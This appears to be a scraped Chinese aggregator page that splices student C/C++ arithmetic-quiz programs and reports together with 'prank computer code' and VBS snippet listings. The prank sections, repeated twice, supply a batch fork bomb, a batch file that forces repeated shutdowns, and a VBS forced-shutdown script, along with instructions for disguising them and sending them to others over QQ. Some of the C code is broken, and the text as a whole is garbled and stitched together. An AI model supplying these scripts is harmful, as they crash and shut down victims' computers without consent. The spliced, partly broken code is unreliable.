c语言四则运算代码

c语言四则运算代码
c语言四则运算代码

#include

int main(void

{

double value1,value2;

char op;

printf("Type in an expression:");

scanf("%lf%c%lf",&value1&op&value2);

if(op=='+')

printf("=%.2f\n",value1+value2);

elseif(op=='-')

printf("=%.2f\n",value1-value2);

elseif(op=='*')

printf("=%.2f\n",value1*value2);

elseif(op=='/')

printf("=%.2f\n",value1/value2);

else

printf("Unknown opterator\n");

return 0;

}

C语言四则运算测试程序设计报告

昆明理工大学 《计算机程序设计基础》课程 综合实践型教学课题报告 课题名称:100以内的整数四则运算测试程序设计 组长:学号 040401067 姓名周绍平 组员:学号 040401070 姓名邓磊 学号 040401106 姓名刘云路 学号姓名 学号姓名 学号姓名 学号姓名 学院:信自学院专业班级:自动化0421 指导教师:耿植林 昆明理工大学计算中心 2005 年 6月18日

昆明理工大学计算中心 《计算机程序设计基础》课程综合实践型教学课题报告课程名称:100以内的整数四则运算测试程序设计

正文内容: 一、问题描述 这是一个进行数学计算的程序,且要求拥有多种功能,包括(1)选项菜单集成各功能函数模块(2)出题(每次出10道题目)(3)答题并评分(4)答错的题给出正确答案(5)显示答卷。总体看来,大多数功能要求调用错题,所以面临的两个难题便是出题和保存答题者做错的题以便其它函数调用。另外,由于除法的特殊性——其除数不能为0。又因为这是一个用于100以内整数的四则运算的程序,又对除法这个特殊成员提出了新的要求——要使得到的结果为整数。所以有必要把除法单独拿出来作为一个函数处理。 二、问题分析 这是一个任务很明确的程序设计—用于100以内的整数的四则运算。这个程序要求拥有选项菜单、出题、答题评分、显示答卷、错题再解、重复练习的功能。既然是一个用于计算的程序那它的主要作用就是给练习者答题,并验证答题的正确与否。当然,还要有一些附加功能,比如:把答卷显示出来,错题给出正解,错题再抽出来再做。 这个程序只要求100以内的四则运算,所以随机出现的数字只能是100以内的,并且要求其为整数。不论是数据的输入与输出,都要求其为整数。 鉴于这个程序所要求达到的功能,我们小组决定把它分为计算、菜单、答卷、重做、正解、评价、除法七个函数模块。 对各成员的分工如下: 计算、正解和菜单(周绍平) 评价和除法(邓磊) 答卷和重做(刘云路) 主函数及各函数的连接则由小组成员共同完成。 三、程序设计思路功能模块说明 各函数流程图: 1、除法(chufa) 2、计算(jisuan)

整人电脑代码

第一个:让别人内存OVER(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机, 结束任务都不行,他只能说他是猪才能解决问题。够坏吧注意哦,你可以把我是猪那个修

C语言-四则运算

四则运算 姓名: 学号: 班级: 1.功能结构图 2.程序功能 进行整数的加减乘除和求模运算。程序采用随机产生1~100的两个数进行运算每种运算有10个题目用户输入对应的答案程序提示答案的对错最后统计正确率。每次给出两次答题机会。 3.程序流程图

4.函数列表及功能

5.源程序代码 #include #include #include #define N 10 int f(int a,int b) { //自定义函数int result; result=a+b; return result; } int f1(int a,int b) { int result; result=a-b; return result; } int f2(int a,int b) { int result; result=a*b; return result; } int f3(int a,int b) { int result; result=a*b/b; return result; } int mod(int a,int b) { int result; result=a%b; return result; } int main() { int a,b,res,ans; int i,count; int op,c; srand((unsigned)time(NULL)); while(1) {

printf("\n---加减乘除运算练习系统---\n"); printf("1.加法运算\n"); printf("2.减法运算\n"); printf("3.乘法运算\n"); printf("4.除法运算\n"); printf("5.求模运算\n"); printf("6.混合运算\n"); printf("0.退出练习\n"); printf(" 请输入数字0~6:"); scanf("%d",&op); //输入相应数字进行练习switch(op) { case 1:printf("--请进行加法运算--\n"); count=0; for(i=1;i<=N;i++) { a=rand()%100+1; b=rand()%100+1; res=f(a,b); //调用加法函数 printf("%d+%d=",a,b); scanf("%d",&ans); //输入数值 if(ans==res) { printf("Very Good!\n"); count++; } else { printf("wrong! 请重新输入\n"); scanf("%d",&ans); if(ans==res) printf("Very Good!\n"); else printf("Wrong Answer!\n"); } } printf("***正确率为%.0f%%***\n",100.0*count/N); break; case 2:printf("--请进行减法运算--\n"); count=0; for(i=1;i<=N;i++) { a=rand()%100+1; b=rand()%100+1;

C语言实验报告四则运算

《C语言》课内实验报告 学生姓名: 及学号: 学院: 班级: 课程名称:C语言 实验题目:实验二选择结构程序设计 指导教师 姓名及职称: 年月日

一、实验目的 1.掌握逻辑表达式和if语句、嵌套的if语句、switch语句和break语句的格式、语义。 2.掌握选择结构程序设计方法。 二、实验内容 编写程序实现两个数的四则运算,要求从键盘输入进行运算的两个数字以及相应的运算符('+'、'-'、'*'、'/'),程序给出算数表达式及运算结果。(如下图所示,要求使用if语句和switch语句两种方法实现) 三、实验结果 1、流程图

2、源程序 (1)使用if语句 #include void main() { float a,b; char c; printf("please input two numbers:"); scanf("%f%f",&a,&b); getchar(); printf("\nplease input the operator:"); //fflush(stdin); scanf("%c",&c); printf("\n"); if(c=='+') printf("%10.2f+%10.2f=%10.2f\n",a,b,a+b); else if (c=='-') printf("%10.2f-%10.2f=%10.2f\n",a,b,a-b); else if (c=='*') printf("%10.2f*%10.2f=%10.2f\n",a,b,a*b); else if (c=='/') printf("%10.2f/%10.2f=%10.2f\n",a,b,a/b); else printf("Input error!\n"); } (2)使用switch语句 #include void main() { float a,b; char c; printf("please input two numbers:"); scanf("%f%f",&a,&b); //输入a,b的值 getchar(); printf("\nplease input the operator:"); //输入操作符 scanf("%c",&c); printf("\n"); switch(c) //判断输入操作符 { case '+': //若操作符为'+',输出a+b printf("%10.2f+%10.2f=%10.2f\n",a,b,a+b); break;

C语言课程设计小学生四则运算

#include"stdio.h" #include"stdlib.h" void main() { int a,b,c,d,e,f,g,t; printf("****************************欢迎使用!************************\n"); printf("\n"); printf("1.加法运算\n"); printf("2.减法运算\n"); printf("3.乘法运算\n"); printf("4.除法运算\n"); printf("*****************************请选择运算类型:"); scanf("%d",&a); while(a<1||a>4) { printf("输入错误,请重新输入"); scanf("%d",&a); } if(a==1) { printf("5,一位数加一位数\n"); printf("6,一位数加两位数\n"); printf("7,两位数加两位数\n"); printf("*********************************请输入题型:"); scanf("%d",&a); while(a<5||a>7) { printf("输入错误,请重新输入"); scanf("%d",&a); } if(a==5) { loop:b=rand()%10; c=rand()%10; d=b+c; printf("%d+%d=?\n",b,c); printf("请输入答案:"); scanf("%d",&e); while(e!=d) { printf("回答错误,请重做"); printf("%d+%d=?\n",b,c); printf("请输入答案:"); scanf("%d",&e);

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

大整数的四则运算高质量c语言程序

设计题目:大整数的四则运算 1. 功能简介:编写出实现大整数之间相加,相减,相乘,相除的程序,并输出计算结构。 课程设计要求:采用模块化程序设计 源程序中应有足够的注释 必须上机调试通过 注重算法运用,优化存储效率与运算效率 需提交源程序(含有注释)及相关文件(数据或数据库文件); 提交设计报告书。 2.总体结构:

数据初判断运算符 加法 正整数非正整 转变为 减法 转变为 乘法除法 转变为 退出 流程图:

3 .概要设计:

1)加法运算 利用两个整形数组分别存放两个数a和b的每一位的数值,最低位存放符号。如果a 和b同号,从最低为开始计算,如果有进位则保存在高一位,本为则减10,然后反序将计算后的各个位的数值保存在一个数组c并输出,如果a和b都是负数则在前面要输出负号,函数的返回值为c的位数。如果a和b异号,也即两个正整数相减,从最低位开始相减,如果要借位则本位加10再相减,高一位要减1,然后反序将计算后的各个位的数值保存在一个数组c并输出,在前面要输出相应的符号位。 2)减法运算 可将减法运算转化为加法运算,只要将被减数的符号改变即可。 3)乘法运算 符号存放在最低位,将其中一个数a的每一位分别乘以另一个数b的每一位,并将结果保存在数组c中,然后重复计算a的下一位跟b的每一位的乘积,把上一次计算保存在c 的值加上本次计算后的值,并保存在c自身中,直到a的最高位,最后输出符号和相应的计算结果。 4)除法运算 利用乘法和减法,将除数分别乘以1到9,直到其值大于等于被除数的对应的数,然后被除数对应的数减去其乘积,保存在一个数组中,下一次循环把它归到被除数中继续做除法运算,最后得到余数并输出。 4.函数功能: 1.void init(int a[],int b[],int *p1,int *p2) 2.功能说明:读入所要计算的数值,数据初始化 3.i nt plus(int a[],int b[],int c[],int m,int n) 4.功能说明:两个正整数相加 3. void change(int a[],int b[],int m,int n) 功能说明:当两异号数相加时,改变其符号以符合加法运算 5.i nt minus(int a[],int b[],int d[],int m,int n)

c++ c语言 简单的四则运算

C++编写的简单计算器,能执行简单的四则运算 文档时copy过来的!只为方便大家 #include using namespace std; class calculator { public: char token; int exp( void ); int term( void ); int factor( void ); void match( char expectedToken ); void error( void ); }; int calculator::exp(void) { int temp = term(); /*计算比加减运算优先级别高的部分*/ while (( token == '+' ) || ( token == '-' )) switch ( token ) { case '+': match('+'); /*加法*/ temp += term(); break; case '-': match('-'); temp -= term(); /*减法*/ break; } return temp; } int calculator::term( void ) { int div; /*除数*/ int temp = factor(); /*计算比乘除运算优先级别高的部分*/ while (( token == '*' ) || ( token == '/' )) switch ( token ) { case '*': match('*'); /*乘法*/ temp *= factor(); break; case '/': match('/'); /*除法*/

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

四则运算训练器软件C语言开发(软件代码+软件说明)

软件名称:四则运算训练器 软件功能介绍: 该软件主要用于训练并测试使用者的四则运算能力。 进入软件主界面,界面上会显示3个选项,分别是: 1.10以内的四则运算训练。 2.20以内的四则运算训练。 0.退出。 使用者根据自己的需要选择不同的选项: 按“1”进入10以内的四则运算训练; 按“2”进入20以内的四则运算训练; 按“0”退出程序主界面。 10以内的四则运算和20以内的四则运算均为10题一组;在这10个题中,加减乘除均有,操作数均为整数,且加减乘除出现的顺序不定,除法给出的两个操作数能除尽。 对于给出的题目,当操作者计算正确时,操作界面上无特殊显示;当操作者计算错误时,操作界面上会显示“FAULT!”,提示操作者该题计算错误并同时进入下一题。 操作者每做完10道题,界面上会显示此轮计算的正确率,并询问操作者是否继续。此时操作者可根据自己的需要,按“1”进入10以内的四则运算训练; 按“2”进入20以内的四则运算训练; 按“0”退出程序主界面。

程序代码: #include #include #include void calculation1(); void calculation2(); void main() { int number; char m; redo: printf("\t\t\t欢迎进入四则运算训练营!\n\n\n\n"); printf("<1>.10以内的四则运算系列.\n"); printf("<2>.20以内的四则运算训练.\n"); printf("<0>.退出.\n\n"); printf("请选择功能号( 1 / 2 / 0 ):"); scanf("%d",&number); srand((unsigned)time(0)); loop: if(number==1) calculation1(); else if(number==2) calculation2(); else exit(0); printf("\n\n");

C语言编写四则运算

C语言编写四则运算 #include//计算器 #include〈malloc、h> ?//maxsize of the stack 100 #define STACK_SIZE?? #defineSTACK_INCREMENT10?//realloc size typedef structFStack//stackof int { ?float* base; float*top; ?intstacksize; }FStack; void Init(FStack*s) { ?s—>base= (float*)malloc(STACK_SIZE* sizeof(FStack)); if(!s->base) ?{ ??printf(”overflow!\n”); ??return; ?} ?s->top = s—>base; ?s->stacksize = STACK_SIZE; } boolisEmpty(FStack*s) { ?if(s-〉top == s—〉base) ?{ ??returntrue; } ?else { ??return false; ?} } voidPush(FStack* s, floate) { if(s-〉top-s—>base >= s-〉stacksize) ?{ ??printf(”stack is full!\nrealloc %d\n", STACK_INCREM ENT); ?s—〉base = (float*)realloc(s->base, (s—>stacksize + sizeof(FStack))); ??if(!s—>base) ??{

VBS经典代码大全

VBS代码片断大全[一] 1 VBS 取得本机IP strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For Each strAddress in IPConfig.IPAddress WScript.Echo strAddress Next End If Next -------------------------------------------------------------------------------- 2 取得本机计算机名 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem") For Each objComputer in colComputers Wscript.Echo https://www.360docs.net/doc/e915060412.html, Next -------------------------------------------------------------------------------- 4 检查升级包 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." & objOperatingSystem.ServicePackMinorVersion Next -------------------------------------------------------------------------------- 5 检查Hot Fix strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering") For Each objQuickFix in colQuickFixes Wscript.Echo "Description: " & objQuickFix.Description

C语言四则运算

机电学部课程设计 题目:小学生算术四则运算测试程序姓名:黄超 学号:200912110118 班级:计算机科学与技术 课程:程序设计方法学 任课教师:顾保磊 2014年6月28日 课程设计任务书及成绩评定

目录 背景 (1) 摘要 (1)

功能要求................................................... . (2) 设计流程 (3) 程序执行 (4) 程序 (5) 程序 (6) 程序 (7) 程序 (8) 实验结果 (9) 实验结果 (10) 实验心得…………………………………………....….. .11 背景 伴随着人类社会的进步,人们的计算工具也在不断的变化,从远古时期的结绳计数,到算筹,算盘,以及近代的机械计算机、计算尺,直至今天我们广泛运用的电子计算机。计算工具的每一次进步,都导致科学技术发生深刻的革命。 人类最初是用手指来作为记数和计算工具的。在古代,人们还广泛地使用过筹码和结绳来作为记数和计算的工具,其中筹码可能采用石子、木棍、滑片等,每一个可以单独使用也可用工具在其刻上道使用。我们中华民族的祖先,在公元前5世纪以前开始使用算筹。利用算筹记数,用笔写下来就是筹算数字,当时这在世界上是十分先进的。而作为我们的祖先对世界文明的重大贡献——四大发明之一的珠算盘,则是人类经过设计加工,制造出来的第一种计算工具。十六世纪以来,随着机械设计和制造水平的提高,同时也为了满足日益复杂的计算要求,

许多科学家设计制造了以齿轮为主要构件的机械式计算机。自从上个世纪四十年代电子计算机的发明,人类计算工具的发展进入了一个新纪元。计算机以人类技术史上前所未有的高速度发展着,其主要构件由电子管、晶体管、集成电路,一直发展到运用超大规模集成电路。计算机的计算速度也从每秒几千次算术计算,提高到每秒上万亿次算术计算。 摘要 小学生四则运算,是利用VC++软件编写的一程序,电脑可随机的出10道四则运算题,每题十分。答题者输入需要运算的数,其中要求算式面向小学 1~2年纪,数的大小不超过50且运算的结果必须在0~50之间,答题者有三次答题机会,在这三次机会之内答出,系统会自动根据答案的正确与否,得出分数,按照相应的分数给出级别,80-90显示“GOOD”,70-80显示“OK”,60-70显示“PASS”,60以下“TRY AGAIN” 功能要求 题目:小学生算术四则运算测试程序 面向小学1~2年级学生,随机选择两个整数和加减法形成算式要求学生解答。 功能要求: (1)电脑随机出10道题,每题10分,程序结束时显示学生得分; (2)确保算式没有超出1~2年级的水平,只允许进行50以内的加减法,不允许两数之和或之差超出0~50的范围,负数更是不允许的; (3)每道题学生有三次机会输入答案,当学生输入错误答案时,提醒学生重新输入,如果三次机会结束则输出正确答案; (4)对于每道题,学生第一次输入正确答案得10分,第二次输入正确答案得7分,第三次输入正确答案得5分,否则不得分; (5)总成绩90以上显示“SMART”80-90显示“GOOD”,70-80显示“OK”,60-70显示“PASS”,60以下“TRY AGAIN”

整人代码大全

整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1s if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”, 保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。

善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机, 不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true

c语言编写四则运算

C语言编写四则运算 #include//计算器 #include #define STACK_SIZE100 //max size of the stack #define STACK_INCREMENT10 //realloc size typedef struct FStack//stack of int { float* base; float* top; int stacksize; }FStack; void Init(FStack* s) { s->base = (float*)malloc(STACK_SIZE * sizeof(FStack)); if (!s->base) { printf("overflow!\n"); return; } s->top = s->base; s->stacksize = STACK_SIZE; } bool isEmpty(FStack* s) { if (s->top == s->base) { return true; } else { return false; } } void Push(FStack* s, float e) { if (s->top - s->base >= s->stacksize) {

printf("stack is full!\nrealloc %d\n", STACK_INCREMENT); s->base = (float*)realloc(s->base, (s->stacksize + sizeof(FStack))); if (!s->base) { printf("overflow!\n"); return; } s->top = s->base + s->stacksize; s->stacksize += STACK_INCREMENT; } *(s->top) = e; (s->top)++; } float GetTop(FStack* s) { if (s->top == s->base) { printf("stack is empty!\n"); return 0; } float e = *(s->top - 1); return e; } void Pop(FStack* s) { if (s->top == s->base) { printf("stack is empty!\n"); return; } s->top--; } typedef struct CStack//stack of char { char* base; char* top; int stacksize; }CStack; void Init(CStack* s)

运用C语言学习知识编写复数的四则运算

运用C语言编写复数的四则运算 一、需求分析 1.设计一个可进行复数运算的演示程序 2.实现下列六种基本运算: (1)由于输入的实部和虚部生成一个复数;(2)两个复数求和;(3)两个复数求差;(4)两个复数求积;(5)从已知复数中分离出虚部。运算结果一相应的复数或实数的表示形式显示。 3.程序执行的命令包括: a.输入数据生成一个复数 b.求复数和 c.求复数差 d.求复数积 4.(1)建立一个复数,然后根据提示用户输入两个复数,使得能同时进行两个复数的加.减.乘运算。 (2)输入形式和输入值得范围:分别输入两个复数,其格式为:a+bi用enter结束输入。 (3)输出形式:按程序规定输出其运算值。如:运算后只有实数时只输出实数虚部部分不表示,反之一样 5.测试程序 (1)0,0;0,0;应输出“0” (2)3.1,0;4.22, 8.9; 应输出“7.32+i8.9”

(3)-1.33, 2.34; 0.1, -6.5; 应输出“-1.23-i4.16” (4)0, 9.7; -2.1, -9.7;应输出“-2.1” (5)7.7,-8;-7.7,0;应输出“-i8” 二.概要分析 1.为实现上述程序的功能,需要定义一个表示复数的抽象数据类型。 2.本程序包含的函数: (1)主函数main(); (2)构造函数typedef struct(); (3)调用函数Complex createComplex(float a,float b) Complex add(Complex z1,Complex z2) Complex jian(Complex z1,Complex z2) Complex cheng(Complex z1,Complex z2) void printComplex(Complex z); 各函数关系如下: (5)主函数伪代码 main( ) { 说明一个构造函数Complex; 定义两个实数和虚数分别为z1,z2; 提示输入实数和虚数z1,z2; 调用子函数; 提示输入+ - *;

C语言编写的四则运算器

/* =============================================== */ /* 头文件声明*/ #include /* In Out printf().. */ #include /* pow(M,n) 开M^n */ #include /* strcpy... */ #include /* atof... */ #include /* getch()... */ #define Max 256 /* 表达式长度定义,可以在这里调节*/ /* =============================================== */ /* 函数声明*/ /* 计算字符串(不带括号的),计算的核心部分*/ char *Calculate_f(char *chpString); /* 主操作过程,输入式子串,返回double 型结果*/ double Operation(char *chpString); /* Source1、Source2 加起来到Destination 中*/ char *AddStrings_f(char *chpDestination, char *chpSource1, char *chpSource2); /* 寻找char_to_find 在Source 中的位置,后移一位*/ int FindChar(char *chpSource, char chCharToFind); /* 获取字符串的长度*/ int Len_f(char *chpSource); /* 将Source 左边Length 个字符放在Destination 中*/ char *Left_f(char *chpSource, char *chpDestination, int nLength); /* 将Source 右边Length 个字符放在Destination 中*/ char *Right_f(char *chpSource, char *chpDestination, int nLength) ; /* 将Source 中从Start 开始Length 长度的字符串截下来放在Destination 中*/ char *Midstr_f(char *chpSource, char *chpDestination, int nStart, int nLength); /* 在字符串中删除一个字符del '+' */ void DelChar(char *chpString,int sPos); /* 在字符串中插入一个字符*/ int InsChar(char *chpString,int sPos,char sChar); /* 替换字符串中的某个字符*/ void StrReplace(char *chpString,char strOld ,char strNew); /* 将实数值变为字符串*/ char *Str_f(double nValue, char *chpDestination); /* 计算字符串的值,返回实数值*/ double Val_f(char *chpSource) ; /* =============================================== */ /* 主菜单... */ int Menu_Sel(); /* 手工输入表达式求值*/ int Do_Press(); /* 文件导入表达式求值*/ int Do_File();

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